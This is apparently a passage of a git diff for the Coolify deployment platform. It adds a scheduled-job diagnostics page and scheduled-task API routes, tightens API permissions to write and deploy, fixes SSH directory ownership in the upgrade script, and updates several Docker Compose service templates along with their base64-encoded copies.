Cleanup Configuration
diff --git a/resources/views/livewire/settings/scheduled-jobs.blade.php b/resources/views/livewire/settings/scheduled-jobs.blade.php
new file mode 100644
index 000000000..d22aca911
--- /dev/null
+++ b/resources/views/livewire/settings/scheduled-jobs.blade.php
@@ -0,0 +1,260 @@
+
+
+ Scheduled Job Issues | Coolify
+
+
+
+
+
+
Scheduled Job Issues
+ Refresh
+
+
Shows failed executions, skipped jobs, and scheduler health.
+
+
+ {{-- Tab Buttons --}}
+
+
+ Failures ({{ $executions->count() }})
+
+
+ Scheduler Runs ({{ $managerRuns->count() }})
+
+
+ Skipped Jobs ({{ $skipLogs->count() }})
+
+
+
+ {{-- Executions Tab --}}
+
+ {{-- Filters --}}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ | Type |
+ Resource |
+ Server |
+ Started |
+ Duration |
+ Message |
+
+
+
+ @forelse($executions as $execution)
+
+ |
+ @php
+ $typeLabel = match($execution['type']) {
+ 'backup' => 'Backup',
+ 'task' => 'Task',
+ 'cleanup' => 'Cleanup',
+ default => ucfirst($execution['type']),
+ };
+ $typeBg = match($execution['type']) {
+ 'backup' => 'bg-blue-100 text-blue-800 dark:bg-blue-900/30 dark:text-blue-300',
+ 'task' => 'bg-purple-100 text-purple-800 dark:bg-purple-900/30 dark:text-purple-300',
+ 'cleanup' => 'bg-orange-100 text-orange-800 dark:bg-orange-900/30 dark:text-orange-300',
+ default => 'bg-gray-100 text-gray-800 dark:bg-gray-900/30 dark:text-gray-300',
+ };
+ @endphp
+
+ {{ $typeLabel }}
+
+ |
+
+ {{ $execution['resource_name'] }}
+ @if($execution['resource_type'])
+ ({{ $execution['resource_type'] }})
+ @endif
+ |
+ {{ $execution['server_name'] }} |
+
+ {{ $execution['created_at']->diffForHumans() }}
+ {{ $execution['created_at']->format('M d H:i') }}
+ |
+
+ @if($execution['finished_at'] && $execution['created_at'])
+ {{ \Carbon\Carbon::parse($execution['created_at'])->diffInSeconds(\Carbon\Carbon::parse($execution['finished_at'])) }}s
+ @elseif($execution['status'] === 'running')
+
+ @else
+ -
+ @endif
+ |
+
+ {{ \Illuminate\Support\Str::limit($execution['message'], 80) }}
+ |
+
+ @empty
+
+ |
+ No failures found for the selected filters.
+ |
+
+ @endforelse
+
+
+
+
+
+ {{-- Scheduler Runs Tab --}}
+
+
Shows when the ScheduledJobManager executed. Gaps indicate lock conflicts or missed runs.
+
+
+
+
+ | Time |
+ Event |
+ Duration |
+ Dispatched |
+ Skipped |
+
+
+
+ @forelse($managerRuns as $run)
+
+ | {{ $run['timestamp'] }} |
+ {{ $run['message'] }} |
+
+ @if($run['duration_ms'] !== null)
+ {{ $run['duration_ms'] }}ms
+ @else
+ -
+ @endif
+ |
+ {{ $run['dispatched'] ?? '-' }} |
+
+ @if(($run['skipped'] ?? 0) > 0)
+ {{ $run['skipped'] }}
+ @else
+ {{ $run['skipped'] ?? '-' }}
+ @endif
+ |
+
+ @empty
+
+ |
+ No scheduler run logs found. Logs appear after the ScheduledJobManager runs.
+ |
+
+ @endforelse
+
+
+
+
+
+ {{-- Skipped Jobs Tab --}}
+
+
Jobs that were not dispatched because conditions were not met.
+
+
+
+
+ | Time |
+ Type |
+ Reason |
+ Details |
+
+
+
+ @forelse($skipLogs as $skip)
+
+ | {{ $skip['timestamp'] }} |
+
+ @php
+ $skipTypeBg = match($skip['type']) {
+ 'backup' => 'bg-blue-100 text-blue-800 dark:bg-blue-900/30 dark:text-blue-300',
+ 'task' => 'bg-purple-100 text-purple-800 dark:bg-purple-900/30 dark:text-purple-300',
+ 'docker_cleanup' => 'bg-orange-100 text-orange-800 dark:bg-orange-900/30 dark:text-orange-300',
+ default => 'bg-gray-100 text-gray-800 dark:bg-gray-900/30 dark:text-gray-300',
+ };
+ @endphp
+
+ {{ ucfirst(str_replace('_', ' ', $skip['type'])) }}
+
+ |
+
+ @php
+ $reasonLabel = match($skip['reason']) {
+ 'server_not_functional' => 'Server not functional',
+ 'subscription_unpaid' => 'Subscription unpaid',
+ 'database_deleted' => 'Database deleted',
+ 'server_deleted' => 'Server deleted',
+ 'resource_deleted' => 'Resource deleted',
+ 'application_not_running' => 'Application not running',
+ 'service_not_running' => 'Service not running',
+ default => ucfirst(str_replace('_', ' ', $skip['reason'])),
+ };
+ $reasonBg = match($skip['reason']) {
+ 'server_not_functional', 'database_deleted', 'server_deleted', 'resource_deleted' => 'text-red-600 dark:text-red-400',
+ 'subscription_unpaid' => 'text-warning',
+ 'application_not_running', 'service_not_running' => 'text-orange-600 dark:text-orange-400',
+ default => '',
+ };
+ @endphp
+ {{ $reasonLabel }}
+ |
+
+ @php
+ $details = collect($skip['context'])
+ ->except(['type', 'skip_reason', 'execution_time'])
+ ->map(fn($v, $k) => str_replace('_', ' ', $k) . ': ' . $v)
+ ->implode(', ');
+ @endphp
+ {{ $details }}
+ |
+
+ @empty
+
+ |
+ No skipped jobs found. This means all scheduled jobs passed their conditions.
+ |
+
+ @endforelse
+
+
+
+
+
+
diff --git a/routes/api.php b/routes/api.php
index 8ff1fd1cc..ffa4b29b9 100644
--- a/routes/api.php
+++ b/routes/api.php
@@ -9,6 +9,7 @@ use App\Http\Controllers\Api\HetznerController;
use App\Http\Controllers\Api\OtherController;
use App\Http\Controllers\Api\ProjectController;
use App\Http\Controllers\Api\ResourcesController;
+use App\Http\Controllers\Api\ScheduledTasksController;
use App\Http\Controllers\Api\SecurityController;
use App\Http\Controllers\Api\ServersController;
use App\Http\Controllers\Api\ServicesController;
@@ -54,7 +55,7 @@ Route::group([
Route::post('/projects/{uuid}/environments', [ProjectController::class, 'create_environment'])->middleware(['api.ability:write']);
Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:write']);
- Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:read']);
+ Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:write']);
Route::patch('/projects/{uuid}', [ProjectController::class, 'update_project'])->middleware(['api.ability:write']);
Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:write']);
@@ -85,7 +86,7 @@ Route::group([
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']);
- Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:read']);
+ Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']);
Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']);
Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:write']);
@@ -106,7 +107,7 @@ Route::group([
/**
* @deprecated Use POST /api/v1/services instead. This endpoint creates a Service, not an Application and is a unstable duplicate of POST /api/v1/services.
- */
+ */
Route::post('/applications/dockercompose', [ApplicationsController::class, 'create_dockercompose_application'])->middleware(['api.ability:write']);
Route::get('/applications/{uuid}', [ApplicationsController::class, 'application_by_uuid'])->middleware(['api.ability:read']);
@@ -120,9 +121,9 @@ Route::group([
Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']);
- Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:write']);
+ Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']);
Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']);
Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']);
@@ -151,9 +152,9 @@ Route::group([
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:write']);
+ Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
Route::get('/services', [ServicesController::class, 'services'])->middleware(['api.ability:read']);
Route::post('/services', [ServicesController::class, 'create_service'])->middleware(['api.ability:write']);
@@ -168,9 +169,21 @@ Route::group([
Route::patch('/services/{uuid}/envs', [ServicesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:write']);
- Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:write']);
+ Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
+ Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
+
+ Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']);
+ Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']);
+ Route::patch('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']);
+ Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']);
+ Route::get('/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_application_uuid'])->middleware(['api.ability:read']);
+
+ Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']);
+ Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']);
+ Route::patch('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']);
+ Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']);
+ Route::get('/services/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_service_uuid'])->middleware(['api.ability:read']);
});
Route::group([
diff --git a/routes/web.php b/routes/web.php
index e8c738b71..b6c6c95ce 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -62,6 +62,7 @@ use App\Livewire\Server\Show as ServerShow;
use App\Livewire\Server\Swarm as ServerSwarm;
use App\Livewire\Settings\Advanced as SettingsAdvanced;
use App\Livewire\Settings\Index as SettingsIndex;
+use App\Livewire\Settings\ScheduledJobs as SettingsScheduledJobs;
use App\Livewire\Settings\Updates as SettingsUpdates;
use App\Livewire\SettingsBackup;
use App\Livewire\SettingsEmail;
@@ -119,6 +120,7 @@ Route::middleware(['auth', 'verified'])->group(function () {
Route::get('/settings/backup', SettingsBackup::class)->name('settings.backup');
Route::get('/settings/email', SettingsEmail::class)->name('settings.email');
Route::get('/settings/oauth', SettingsOauth::class)->name('settings.oauth');
+ Route::get('/settings/scheduled-jobs', SettingsScheduledJobs::class)->name('settings.scheduled-jobs');
Route::get('/profile', ProfileIndex::class)->name('profile');
diff --git a/scripts/upgrade.sh b/scripts/upgrade.sh
index 648849d5c..f32db9b8d 100644
--- a/scripts/upgrade.sh
+++ b/scripts/upgrade.sh
@@ -141,6 +141,15 @@ else
log "Network 'coolify' already exists"
fi
+# Fix SSH directory ownership if not owned by container user UID 9999 (fixes #6621)
+# Only changes owner — preserves existing group to respect custom setups
+SSH_OWNER=$(stat -c '%u' /data/coolify/ssh 2>/dev/null || echo "unknown")
+if [ "$SSH_OWNER" != "9999" ]; then
+ log "Fixing SSH directory ownership (was owned by UID $SSH_OWNER)"
+ chown -R 9999 /data/coolify/ssh
+ chmod -R 700 /data/coolify/ssh
+fi
+
# Check if Docker config file exists
DOCKER_CONFIG_MOUNT=""
if [ -f /root/.docker/config.json ]; then
diff --git a/templates/compose/beszel-agent.yaml b/templates/compose/beszel-agent.yaml
index a318f4702..5d0b4fecc 100644
--- a/templates/compose/beszel-agent.yaml
+++ b/templates/compose/beszel-agent.yaml
@@ -6,13 +6,26 @@
services:
beszel-agent:
- image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
+ image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
+ network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
environment:
+ # Required
- LISTEN=/beszel_socket/beszel.sock
- - HUB_URL=${HUB_URL?}
- - 'TOKEN=${TOKEN?}'
- - 'KEY=${KEY?}'
+ - HUB_URL=$SERVICE_URL_BESZEL
+ - TOKEN=${TOKEN} # From hub token settings
+ - KEY=${KEY} # SSH public key(s) from hub
+ # Optional
+ - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
+ - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
+ - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
+ - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
volumes:
- beszel_agent_data:/var/lib/beszel-agent
- beszel_socket:/beszel_socket
- '/var/run/docker.sock:/var/run/docker.sock:ro'
+ healthcheck:
+ test: ['CMD', '/agent', 'health']
+ interval: 60s
+ timeout: 20s
+ retries: 10
+ start_period: 5s
\ No newline at end of file
diff --git a/templates/compose/beszel.yaml b/templates/compose/beszel.yaml
index cba11e4bb..bc68c1825 100644
--- a/templates/compose/beszel.yaml
+++ b/templates/compose/beszel.yaml
@@ -9,21 +9,41 @@
# Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI)
services:
beszel:
- image: 'henrygd/beszel:0.16.1' # Released on 14 Nov 2025
+ image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026
environment:
- SERVICE_URL_BESZEL_8090
+ - CONTAINER_DETAILS=${CONTAINER_DETAILS:-true}
+ - SHARE_ALL_SYSTEMS=${SHARE_ALL_SYSTEMS:-false}
volumes:
- 'beszel_data:/beszel_data'
- 'beszel_socket:/beszel_socket'
+ healthcheck:
+ test: ['CMD', '/beszel', 'health', '--url', 'http://localhost:8090']
+ interval: 30s
+ timeout: 20s
+ retries: 10
+ start_period: 5s
beszel-agent:
- image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
+ image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
+ network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
environment:
+ # Required
- LISTEN=/beszel_socket/beszel.sock
- - HUB_URL=http://beszel:8090
- - 'TOKEN=${TOKEN}'
- - 'KEY=${KEY}'
+ - HUB_URL=$SERVICE_URL_BESZEL
+ - TOKEN=${TOKEN} # From hub token settings
+ - KEY=${KEY} # SSH public key(s) from hub
+ # Optional
+ - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
+ - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
+ - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
+ - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
volumes:
- beszel_agent_data:/var/lib/beszel-agent
- beszel_socket:/beszel_socket
- '/var/run/docker.sock:/var/run/docker.sock:ro'
-
+ healthcheck:
+ test: ['CMD', '/agent', 'health']
+ interval: 60s
+ timeout: 20s
+ retries: 10
+ start_period: 5s
\ No newline at end of file
diff --git a/templates/compose/glitchtip.yaml b/templates/compose/glitchtip.yaml
index 3e86d813a..5f239daee 100644
--- a/templates/compose/glitchtip.yaml
+++ b/templates/compose/glitchtip.yaml
@@ -1,9 +1,9 @@
# documentation: https://glitchtip.com
-# slogan: GlitchTip is a self-hosted, open-source error tracking system.
+# slogan: GlitchTip is a error tracking system.
# category: monitoring
-# tags: error, tracking, open-source, self-hosted, sentry
+# tags: error, tracking, sentry
# logo: svgs/glitchtip.png
-# port: 8080
+# port: 8000
services:
postgres:
@@ -29,14 +29,14 @@ services:
retries: 10
web:
- image: glitchtip/glitchtip
+ image: glitchtip/glitchtip:6.0
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
environment:
- - SERVICE_URL_GLITCHTIP_8080
+ - SERVICE_URL_GLITCHTIP_8000
- DATABASE_URL=postgres://$SERVICE_USER_POSTGRESQL:$SERVICE_PASSWORD_POSTGRESQL@postgres:5432/${POSTGRESQL_DATABASE:-glitchtip}
- SECRET_KEY=$SERVICE_BASE64_64_ENCRYPTION
- EMAIL_URL=${EMAIL_URL:-consolemail://}
@@ -53,7 +53,7 @@ services:
retries: 10
worker:
- image: glitchtip/glitchtip
+ image: glitchtip/glitchtip:6.0
command: ./bin/run-celery-with-beat.sh
depends_on:
postgres:
@@ -77,7 +77,7 @@ services:
retries: 10
migrate:
- image: glitchtip/glitchtip
+ image: glitchtip/glitchtip:6.0
restart: "no"
depends_on:
postgres:
diff --git a/templates/compose/maybe.yaml b/templates/compose/maybe.yaml
index 27bcbc5a1..1cc738d7e 100644
--- a/templates/compose/maybe.yaml
+++ b/templates/compose/maybe.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://github.com/maybe-finance/maybe
# slogan: Maybe, the OS for your personal finances.
# category: productivity
diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml
index bc2fbd637..346b0c664 100644
--- a/templates/compose/plane.yaml
+++ b/templates/compose/plane.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://docs.plane.so/self-hosting/methods/docker-compose
# slogan: The open source project management tool
# category: productivity
diff --git a/templates/compose/pterodactyl-panel.yaml b/templates/compose/pterodactyl-panel.yaml
index 9a3f6c779..c86d9d468 100644
--- a/templates/compose/pterodactyl-panel.yaml
+++ b/templates/compose/pterodactyl-panel.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://pterodactyl.io/
# slogan: Pterodactyl is a free, open-source game server management panel
# category: media
@@ -102,4 +103,4 @@ services:
- MAIL_PORT=$MAIL_PORT
- MAIL_USERNAME=$MAIL_USERNAME
- MAIL_PASSWORD=$MAIL_PASSWORD
- - MAIL_ENCRYPTION=$MAIL_ENCRYPTION
+ - MAIL_ENCRYPTION=$MAIL_ENCRYPTION
\ No newline at end of file
diff --git a/templates/compose/pterodactyl-with-wings.yaml b/templates/compose/pterodactyl-with-wings.yaml
index 6e1e3614c..20465a139 100644
--- a/templates/compose/pterodactyl-with-wings.yaml
+++ b/templates/compose/pterodactyl-with-wings.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://pterodactyl.io/
# slogan: Pterodactyl is a free, open-source game server management panel
# category: media
diff --git a/templates/compose/spacebot.yaml b/templates/compose/spacebot.yaml
new file mode 100644
index 000000000..2ecfdacd6
--- /dev/null
+++ b/templates/compose/spacebot.yaml
@@ -0,0 +1,31 @@
+# documentation: https://docs.spacebot.sh/docker
+# slogan: An agentic AI system with specialized processes for thinking, working, and remembering.
+# category: ai
+# tags: ai, agent, anthropic, openai, discord, slack, llm, agentic
+# logo: svgs/spacebot.png
+# port: 19898
+
+services:
+ spacebot:
+ image: "ghcr.io/spacedriveapp/spacebot:full"
+ environment:
+ - SERVICE_FQDN_SPACEBOT_19898
+ - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY}
+ - OPENAI_API_KEY=${OPENAI_API_KEY}
+ - OPENROUTER_API_KEY=${OPENROUTER_API_KEY}
+ - DISCORD_BOT_TOKEN=${DISCORD_BOT_TOKEN}
+ - SLACK_BOT_TOKEN=${SLACK_BOT_TOKEN}
+ - SLACK_APP_TOKEN=${SLACK_APP_TOKEN}
+ - BRAVE_SEARCH_API_KEY=${BRAVE_SEARCH_API_KEY}
+ - SPACEBOT_CHANNEL_MODEL=${SPACEBOT_CHANNEL_MODEL}
+ - SPACEBOT_WORKER_MODEL=${SPACEBOT_WORKER_MODEL}
+ volumes:
+ - "spacebot-data:/data"
+ security_opt:
+ - seccomp=unconfined
+ shm_size: 1g
+ healthcheck:
+ test: ["CMD", "curl", "-sf", "http://localhost:19898/api/health"]
+ interval: 30s
+ timeout: 5s
+ retries: 3
diff --git a/templates/compose/sure.yaml b/templates/compose/sure.yaml
new file mode 100644
index 000000000..7c72156e3
--- /dev/null
+++ b/templates/compose/sure.yaml
@@ -0,0 +1,93 @@
+# documentation: https://github.com/we-promise/sure
+# slogan: An all-in-one personal finance platform.
+# category: finance
+# tags: budgeting,budget,money,expenses,income
+# logo: svgs/sure.png
+# port: 3000
+
+services:
+ web:
+ image: ghcr.io/we-promise/sure:0.6.7
+ environment:
+ - SERVICE_URL_SURE_3000
+ - APP_DOMAIN=$SERVICE_FQDN_SURE
+ - SECRET_KEY_BASE=$SERVICE_BASE64_BASE
+ - POSTGRES_USER=${SERVICE_USER_POSTGRESQL}
+ - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL}
+ - POSTGRES_DB=${POSTGRESQL_DATABASE:-sure}
+ - 'REDIS_URL=redis://valkey:6379'
+ - DB_HOST=postgresql
+ - DB_PORT=5432
+ - 'SELF_HOSTED=true'
+ - 'RAILS_FORCE_SSL=false'
+ - 'RAILS_ASSUME_SSL=false'
+ - ONBOARDING_STATE=${ONBOARDING_STATE:-open}
+ depends_on:
+ postgresql:
+ condition: service_healthy
+ valkey:
+ condition: service_healthy
+ volumes:
+ - sure-app-storage:/rails/storage
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://127.0.0.1:3000"]
+ interval: 15s
+ timeout: 20s
+ retries: 5
+
+ worker:
+ image: ghcr.io/we-promise/sure:0.6.7
+ command: bundle exec sidekiq
+ environment:
+ - APP_DOMAIN=$SERVICE_FQDN_SURE
+ - SECRET_KEY_BASE=$SERVICE_BASE64_BASE
+ - POSTGRES_USER=${SERVICE_USER_POSTGRESQL}
+ - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL}
+ - POSTGRES_DB=${POSTGRESQL_DATABASE:-sure}
+ - 'REDIS_URL=redis://valkey:6379'
+ - DB_HOST=postgresql
+ - DB_PORT=5432
+ - 'SELF_HOSTED=true'
+ - 'RAILS_FORCE_SSL=false'
+ - 'RAILS_ASSUME_SSL=false'
+ - ONBOARDING_STATE=${ONBOARDING_STATE:-open}
+ volumes:
+ - sure-app-storage:/rails/storage
+ depends_on:
+ postgresql:
+ condition: service_healthy
+ valkey:
+ condition: service_healthy
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://127.0.0.1:3000"]
+ interval: 15s
+ timeout: 20s
+ retries: 5
+
+ postgresql:
+ image: postgres:16-alpine
+ volumes:
+ - sure-postgresql-data:/var/lib/postgresql/data
+ environment:
+ - POSTGRES_USER=${SERVICE_USER_POSTGRESQL}
+ - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL}
+ - POSTGRES_DB=${POSTGRESQL_DATABASE:-sure}
+ healthcheck:
+ test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"]
+ interval: 5s
+ timeout: 20s
+ retries: 10
+
+ valkey:
+ image: valkey/valkey:8-alpine
+ command: valkey-server --appendonly yes
+ volumes:
+ - sure-valkey:/data
+ healthcheck:
+ test:
+ - CMD-SHELL
+ - 'valkey-cli ping | grep PONG'
+ interval: 5s
+ timeout: 5s
+ retries: 5
+ start_period: 3s
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index 3c5773d0e..a9f653460 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gJ0hVQl9VUkw9aHR0cDovL2Jlc3plbDo4MDkwJwogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
